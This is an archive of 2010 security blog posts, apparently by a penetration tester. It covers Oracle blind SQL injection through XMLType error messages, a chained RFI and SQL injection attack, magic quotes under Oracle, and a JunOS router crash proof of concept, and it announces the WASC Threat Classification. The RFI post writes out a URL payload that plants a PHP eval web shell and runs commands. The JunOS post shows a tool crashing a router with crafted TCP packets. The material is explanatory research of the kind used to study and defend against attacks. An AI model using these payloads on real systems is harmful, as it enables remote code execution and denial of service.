January 25, 2010

Methods of quick exploitation of blind SQL Injection Vulnerabilities in Oracle

I had gathered an interesting collection of quick methods of blind SQL Injection exploitation, but I was lacking in a similar method for another widespread DBMS – Oracle. It induced me to conduct a small research intended for discovering analogous methods applicable to the specified database.

I found out that all known methods of error-based Blind SQL Injection exploitation don’t work in the Oracle environment. Then, my attention was attracted by the functions of interaction with the XML format. After a short investigation, I found a function XMLType() that returns the first symbol of requested data in the error message (LPX-00XXX):

SQL> select XMLType((select 'abcdef' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00210: expected '<' instead of 'a'
Error at line 1
ORA-06512: at "SYS.XMLTYPE", line 301
ORA-06512: at line 1
no rows selected
SQL>

January 12, 2010

RFI over SQL Injection/Cross-Site Scripting

An amusing attack was demonstrated in the course of the last penetration testing. It is a good example of practical application of Cross-Site Scripting. We had the following situation:

- User segment with an attacker (me) operating from it;
- Technological network with strictly restricted outgoing traffic;
- A web application in the technological network that is vulnerable to Remote File Including (RFI);
- A web application in the technological network that is vulnerable to SQL Injection.

SQL Injection per se didn’t allow us to exploit any useful threats and develop the attack (here it is, the dreadful effect of privilege minimization!). We also could not use the RFI vulnerability, because the traffic outgoing from the technological segment to the user segment and to the external environment was strictly restricted. For the purpose of exploitation of the RFI vulnerability, a chain like the following one was implemented:

http://<application_vulnerable_to_RFI>/?param=http://<application_vulnerable_to_SQLi>/?param=1+union+select+'<?eval($_request[cmd]);?>'&cmd=passthru('ls');

That is, each of these tree vulnerabilities taken separately was useless. Only when they were combined for the common good purpose, they allowed us to exploit an information security threat, which was execution of arbitrary commands on the server :)



All in all, there is nothing supernatural here, but I found this attack to be rather amusing...

January 11, 2010

Magic Quotes


In the course of the last penetration testing, I had an occasion to work with the following web application architecture:

I guess you will ask me, what’s wrong here?

The problem is that Oracle is not MySQL, and it simply doesn’t "know" about any shielding in the form of backlashes :) Oracle doesn’t consider the concept of shielding at all, because it’s a serious DBMS:

Methods of Quick Exploitation of Blind SQL Injection

A couple of days ago TinKode attracted everybody’s attention by breaking a web site in the domain army.mil. The server onestop.army.mil was attacked and the investigator found a Blind SQL Injection vulnerability on it.

A logically true query:



A logically false query:



This time, I was most interested not in the fact of server compromise, but in the applied technique of exploitation of Blind SQL Injection vulnerability at DBMS MSSQL 2000:

January 7, 2010

Juniper JUNOS Remote Kernel Crash Flaw!

"Juniper Networks is warning customers of a critical flaw in its gateway routers that allows attackers to crash the devices by sending them small amounts of easily-spoofed traffic." - The Register news.

The JunOS kernel will crash (i.e. core) when a specifically crafted TCP option is received on a listening TCP port. The packet cannot be filtered with Junos's firewall filter. A router receiving this specific TCP packet will crash and reboot.

Affected Devices:
JunOS 3.x - 10.x (versions released later then 1/28/2009)
Software releases built on or after January 28, 2009 have already fixed the issue.
Solution:
Upgrade the OS. There are no totally effective workarounds.

Funny:
"A Juniper spokeswoman said the bulletin was one of seven security advisories the company issued under a policy designed to prevent members of the public at large from getting details of the vulnerabilities."
"Because of Juniper's 'Entitled Disclosure Policy,' only our customers and partners are allowed access to the details of the Security Advisory," the spokeswoman wrote.
Ooohhh... How about this: "when a specifically crafted TCP option is received on a listening TCP port"?
It's more than enough! We have 256 guesses ;)

Simple Proof-of-Concept demo:

hod# ping 169.254.1.1
PING 169.254.1.1 (169.254.1.1): 56 data bytes
64 bytes from 169.254.1.1: icmp_seq=0 ttl=254 time=4.623 ms
64 bytes from 169.254.1.1: icmp_seq=1 ttl=254 time=4.531 ms
64 bytes from 169.254.1.1: icmp_seq=2 ttl=254 time=4.315 ms
^C<...>

hod# ./hod-junos-test 169.254.1.1 22
[*] Target IP: 169.254.1.1, Port: 22
[+] Sending TCP-packets with various crafted TCP options
[+] TCP options bruteforce progress:
[..........................................................
...........................................................
...........................................................
.......................................................]
[+] OK

hod# ping 169.254.1.1
PING 169.254.1.1 (169.254.1.1): 56 data bytes
Request timeout for icmp_seq 0
Request timeout for icmp_seq 1
Request timeout for icmp_seq 2
^C

256 packets and JunOS router is dead, and after analyze sniffing traffic we are know true "evil" TCP packet!

The JUNOS firewall filter (ACL) is unable to filter a TCP packet with this issue!
Successful exploitation requires knowledge of a listening remote TCP port (opened or firewall filtered, it doesn't matter at all).
For example, attackers can send (blind) a many numbers of crafted packets to "well known" TCP ports (22/SSH, 179/BGP and other).
And That's enough.

January 5, 2010

WASC Threat Classification v2.0 is Out!

"The Threat Classification is an effort to classify the weaknesses, and attacks that can lead to the compromise of a website, its data, or its users."

The WASC Threat Classification is a cooperative effort to clarify and organize the threats to the security of a web site. The members of the Web Application Security Consortium have created this project to develop and promote industry standard terminology for describing these issues. Application developers, security professionals, software vendors, and compliance auditors will have the ability to access a consistent language and definitions for web security related issues.

WASC Threat Classification v2.0 Online:
http://projects.webappsec.org/Threat-Classification

What's new in the Threat Classification v2:
* Expanded Mission Statement
* Clarified terminology
* Proper Classification of threats into Attacks and Weaknesses for static/core view
* Base foundation allowing for the introduction of views into future releases.